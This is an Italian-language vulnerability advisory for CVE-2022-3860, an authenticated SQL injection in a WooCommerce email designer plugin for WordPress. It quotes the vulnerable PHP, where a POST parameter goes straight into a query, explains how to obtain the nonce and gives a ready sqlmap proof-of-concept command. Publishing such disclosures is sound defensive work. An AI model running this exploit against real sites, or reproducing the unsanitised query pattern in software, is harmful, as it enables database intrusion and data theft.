logo-unlock-security

CVE-2022-3860

Image link

Visual Email Designer for WooCommerce < 1.7.2 - Multiple Author+ SQLi

Autore

Francesco Marano, Donato Di Pasquale

Prodotto affetto

Riferimenti

Descrizione del prodotto

Visual Email Customizer for WooCommerce è un plugin per WordPress per progettare teamplate di email personalizzate che sostituiscano le email standard di WooCommerce.

Dettagli della vulnerabilità

Analizzando il codice ci è subito saltato all'occhio il file "sm-ajax.php" utilizzato per registrare gli hook (action e filter) del plugin. Per farlo utilizza un piccolo snippet di codice ripetuto per circa 50 volte, ogni volta specificando un differente hook e relativa funzione associata:

sm-ajax.php
add_action('wp_ajax_NOME_DELLA_ACTION_AJAX', array( __CLASS__, 'NOME_DELLA_FUNZIONE_ASSOCIATA' ));

Il motivo per cui ci ha particolarmente attratti questo file è che utilizzare uno snippet di codice così semplice ripetuto così tante volte invece di utilizzare un ciclo e un dizionario (o qualche struttura dati equivalente), identifica una preferenza del programmatore all'uso del copia-incolla piuttosto che lo scrivere un codice pulito e manutenibile. In questi casi, se si torva una vulnerabilità, è ragionevole aspettarsi che quella vulnerabilità sia presente anche altrove.

Prendiamo un caso di esempio, la funzione social_function:

sm-ajax.php
add_action('wp_ajax_swcm_social_function', array( __CLASS__, 'social_function' ));

Il codice della funzione è il seguente:

sm-ajax.php
public static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }

È semplice notare come questa funzione sia affetta da SQL injection sul parametro POST template_type che viene utilizzato senza sanitizzazioni per costruire la query SQL.

Prima di analizzare il codice e costruire l'exploit possiamo verificare l'ipotesi fatta precedentemente. Guardando molte altre funzioni presenti nello stesso file notiamo come tutte abbiano una struttura molto simile e siano tutte affette esattamente dalla medesima vulnerabilità, sul medesimo parametro. Vediamo un'altra funzione come esempio:

sm-ajax.php
public static function image_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_image_id = sanitize_text_field($_POST['swcm_image_id']); $image_id = explode('_', $get_image_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $image_details['imgpos'] = $unser_template_details[$get_image_id]['img_position']; $image_details['media'] = $unser_template_details[$get_image_id]['img_media']; $image_details['bgcolor'] = $unser_template_details[$get_image_id]['img_bgcolor']; $image_details['imgwidth'] = $unser_template_details[$get_image_id]['img_width']; $image_details['imgheight'] = $unser_template_details[$get_image_id]['img_height']; $image_details['rwidth'] = $unser_template_details[$get_image_id]['rwidth']; $image_details['url'] = $unser_template_details[$get_image_id]['url']; $image_details['rounded'] = $unser_template_details[$get_image_id]['rounded']; $image_details['border'] = $unser_template_details[$get_image_id]['border']; $image_details['bordersize'] = $unser_template_details[$get_image_id]['bsize']; $image_details['bordercolor'] = $unser_template_details[$get_image_id]['bcolor']; $image_details['imgtop'] = $unser_template_details[$get_image_id]['top']; $image_details['imgbottom'] = $unser_template_details[$get_image_id]['bottom']; echo wp_json_encode($image_details); wp_die(); }

Come queste ci sono moltissime altre funzioni, tutte simili, tutte vulnerabili. Di seguito la lista completa:

  • social_function
  • swcm_video_function
  • footer_function
  • disclaimer_function
  • image_function
  • customer_function
  • delete_widget_function
  • hr_function
  • maintext_function
  • multi_image_function
  • button_function
  • title_function
  • swcm_clone_widget
  • order_function
  • textarea_function

Continuiamo l'analisi della funzione precedente in modo da costruire un exploit funzionante.

sm-ajax.php
public static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }

Il primo ostacolo risiede nell'uso della funzione check_ajax_referer che controlla che esista un parametro securekey con un valore generato casualmente durante il normale utilizzo del plugin. Possiamo quindi navigare il sito web nelle pagine relative al plugin, intercettare il traffico utilizzando ad esempio Burp o la console del browser e ottenere il valore da utilizzare.

Ottenere il valore del parametro securekey utilizzando la console del browser

Ottenuto il valore del parametro securekey possiamo continuare. Vediamo come gli altri parametri non siano necessari dato che il punto di injection è subito dopo la parola SELECT, quindi li omettiamo tutti ad eccezione di template_type che è il nostro parametro vulnerabile.

In questo modo siamo già in grado di sfruttare la vulnerabilità in modo blind (time-based), ma è possibile fare di più? Purtroppo no, perché per avere in output il risultato della query abbiamo bisogno di specificare il parametro POST swcm_image_id a un valore qualunque, ad esempio "sqli", e che la query ritorni una stringa che rappresenta un JSON nella forma:

{
    "sqli": {
        "img_position": "QUERY-SQL"
    }
}
In questo modo avremmo in output:
{
  "iconpos": "RISULTATO-DELLA-QUERY-SQL",
  "bgcolor": null,
  "facebook": null,
  "twitter": null,
  "google": null,
  "linkedin": null,
  "skype": null,
  "youtube": null,
  "insta": null,
  "rwidth": null
}
Purtroppo la funzione wp_magic_quotes, abilitata a default su tutte le installazioni di WordPress, previene l'uso degli apici tramite l'escape. Questo implica che possiamo sfruttare la vulnerabilità fintanto che non utilizziamo apici, ma non possiamo manipolare l'output nel modo che ci serve per trasformare la SQL injection da blind a non blind.

Proof of Concept

È possibile sfruttare la vulnerabilità con SQLMap:

$ export COOKIES='YOUR-SESSION-COOKIES-HERE'
$ export SECUREKEY='YOUR-SECUREKEY-HERE'

$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=swcm_social_function' --data "securekey=${SECUREKEY}&template_type=test" -p template_type --dbms=mysql --technique=T -H "Cookie: ${COOKIES}" --level=3

Disclosure timeline

22/09/2022

Vulnerabilità segnalata a WPScan

04/11/2022

Assegnata CVE-2022-3860

21/11/2022

Rilasciata fix ufficiale

09/12/2022

Advisory pubblicato da WPScan

23/12/2022

Pubblicata Proof of Concept (PoC)